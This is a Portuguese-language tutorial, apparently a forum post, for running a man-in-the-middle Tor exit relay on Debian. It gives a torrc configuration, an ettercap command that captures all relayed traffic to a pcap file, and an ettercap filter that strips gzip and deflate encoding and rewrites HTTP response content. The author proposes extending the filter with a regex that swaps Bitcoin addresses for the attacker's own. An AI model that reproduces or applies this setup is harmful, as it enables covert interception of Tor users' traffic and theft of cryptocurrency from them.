Então, à luz dos eventos recentes, pensei em mostrar a você uma maneira rápida de configurar um Tor MiTM Relay, isso foi feito no Debian Buster (10.5)
Vamos instalar o Tor (você pode obter os pacotes mais recentes adicionando o repositório Tor ao seu / apt/sources.list
apt update
apt install tor
Quando esses pacotes terminarem de instalar, o Tor começará a funcionar automaticamente, então vamos parar com isso
systemctl stop tor
Agora remova a configuração padrão do Tor
rm /etc/tor/torrc
Agora crie um novo arquivo torrc e cole o seguinte
touch /etc/tor/torrc
SOCKSPort 192.168.0.1:9100 # Bind to this address:port too, default is 9050
ExitPolicy accept *:80-444
ExitPolicy reject *:82-6500
ControlPort 9051
HashedControlPassword 16:BE7C48D44CF26570606B3676D65DC5357788CC1CF14006B06F5BC2399D - DO NOT USE THIS PASSWORD!
Nickname YOURRELAYNAME - CHANGE ME
ORPort 9001
SocksListenAddress 127.0.0.1
Lembre-se de alterar a SENHA DE CONTROLE HASHED com o seguinte e o Nickname com o que você quiser
tor --hash-password YOURPASSWORD
Agora estamos prontos para executar o Tor se você manteve seu arquivo torrc em /etc/tor/torrc esta será a configuração padrão agora execute o seguinte (não como root!)
tor -f /etc/tor/torrc
Espere até que o Tor termine de conectar e abra um novo terminal root agora é hora de instalar o ettercap (você provavelmente poderia usar outra ferramenta se quisesse)
apt install ettercap
Agora que nossa retransmissão está funcionando, como começamos a farejar o tráfego? com um simples comando
ettercap -T -w dump.pcap -E -i wlp2s0
Este é agora um retransmissor Tor que está farejando todo o tráfego que passa por ele, você provavelmente poderia adicionar um filtro para modificar o tráfego em tempo real. (Atualmente tentando fazer isso funcionar com um regex, se alguém tiver alguma ideia sobre isso, envie-me um PM Eu já tenho o filtro pronto, só precisa de alguns ajustes) O filtro para substituir o texto está abaixo adicionando algo assim (^ [13][a-km-zA-HJ-NP-Z1-9]{25,34}$) ao script abaixo permitiria que você substituísse qualquer endereço Bitcoin como seu (em teoria)
##
# This filter will replace certain words In tcp packet
# requests befor forward the packet back to target host.
# based on code from ALoR, NaGA & Morpheus
##
##########################
## Zap Content Encoding ##
##########################
# change target request to server
if (ip.dst == '127.0.0.1' && ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
msg("\n[test] host:127.0.0.1 [ ⊶ ] found ☆");
msg("[test] |_ packet Accept-Encoding zapped ✔\n");
}
}
if (ip.dst == '127.0.0.1' && ip.proto == TCP && tcp.dst == 80) {
msg("[test] host:127.0.0.1 [ <- ] port:80 http ☆");
if (search(DATA.data, "gzip")) {
replace("gzip", " "); # note: four spaces In the replacement string
}
}
if (ip.dst == '127.0.0.1' && ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "deflate")) {
replace("deflate", " "); # note: seven spaces In the replacement string
}
}
#####################
## Replace Content ##
#####################
# change server response to target
if (ip.dst == '127.0.0.1' && ip.proto == TCP && tcp.src == 80) {
if (search(DATA.data, "hello")){
replace("hello", "hello");
msg("\n[test] host:127.0.0.1 [ ⊶ ] found ☆");
msg("[test] | status : string found in tcp packet ✔");
msg("[test] |_info : packet forward back to target ✔\n");
}
}